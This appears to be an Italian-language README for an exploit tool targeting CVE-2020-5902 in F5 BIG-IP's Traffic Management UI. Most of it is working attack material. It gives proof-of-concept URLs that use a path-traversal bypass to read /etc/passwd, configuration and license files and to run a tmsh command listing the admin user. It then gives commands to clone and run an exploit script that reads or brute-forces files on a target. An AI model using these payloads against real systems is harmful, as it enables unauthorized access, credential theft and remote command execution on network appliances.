CVE-2020-5902

codice exploit per F5-Big-IP (CVE-2020-5902)

Riepilogo

Nelle versioni BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 e 11.6.1-11.6.5.1, l'interfaccia utente di Traffic Management (TMUI), nota anche come utility di Configurazione, presenta una vulnerabilità di Remote Code Execution (RCE) in pagine non divulgate.

Prova di concetto

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

Utilizzo

$ git clone https://github.com/yasserjanah/CVE-2020-5902

$ cd CVE-2020-5902/

$ pip3 install -r ./requirements.txt

$ python3 exploit-CVE-2020-5902.py -ip <IP> -f /etc/passwd

-b per eseguire una forzatura brute dei file da una wordlist

$ python3 exploit-CVE-2020-5902.py -ip <IP> -b